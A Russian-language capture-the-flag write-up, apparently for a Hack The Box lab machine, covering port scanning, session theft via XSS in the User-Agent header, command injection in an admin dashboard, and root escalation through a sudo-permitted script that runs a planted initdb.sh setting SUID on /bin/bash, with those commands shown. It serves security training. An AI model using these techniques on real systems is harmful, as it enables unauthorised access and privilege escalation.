Telegram / Boosty / Видео

Подпишись на канал t.me/kiberdruzhinnik, чтобы не пропускать контент.

Смотри на t.me/kiberdruzhinnik/291.

Также на https://boosty.to/kiberdruzhinnik/posts/c2296237-5463-4551-938f-532176664941 я опубликовал подробный видео разбор этой задачи. Это может быть полезно для обучения, если вы делаете первые шаги в информационной безопасности. Поддержать меня на Boosty.

Обзор сервисов

Начнем решение со сканирования портов и обнаружим только два порта:

Open 10.129.158.5:22
Open 10.129.158.5:5000

Веб

Сервис встречает нас сообщением о том, что сайт не запущен, а также формой для вопросов.

alt text

alt text

Видим, что на главной странице ставится кука is_admin.

Ищем закрытый URL с помощью gobuster:

/support              (Status: 200) [Size: 2363]
/dashboard            (Status: 500) [Size: 265]

Пробуем отправлять всякие разные символы для XSS в формы и получаем такое:

alt text

Это позволяет нам украсть сессию администратора с помощью XSS, проэксплуатировав HTTP-заголовок User-Agent.

Практически сразу XSS отрабатывает на администраторе, отдавая нам значения.

Переходим на /dashboard и ставим себе украденную куку.

Попадаем в администраторский дашборд, в котором можно внедрять команды операционной системы, что позволяет нам получить доступ к системе.

alt text

alt text

Флаг пользователя

alt text

Повышение привилегий

Без пароля пользователь может запускать /usr/bin/syscheck.

Посмотрим внутрь этого файла и поймем, что достаточно создать файл initdb.sh с полезной нагрузкой для повышения привилегий.

$ echo "#!/bin/sh" > initdb.sh
$ echo "chmod u+s /bin/bash" >> initdb.sh
$ chmod +x initdb.sh
$ sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 2.0G
System load average:  0.00, 0.01, 0.03
Database service is not running. Starting it...
$ /bin/bash -p
$ id
uid=1000(dvir) gid=1000(dvir) euid=0(root) groups=1000(dvir),100(users)

Флаг суперпользователя

alt text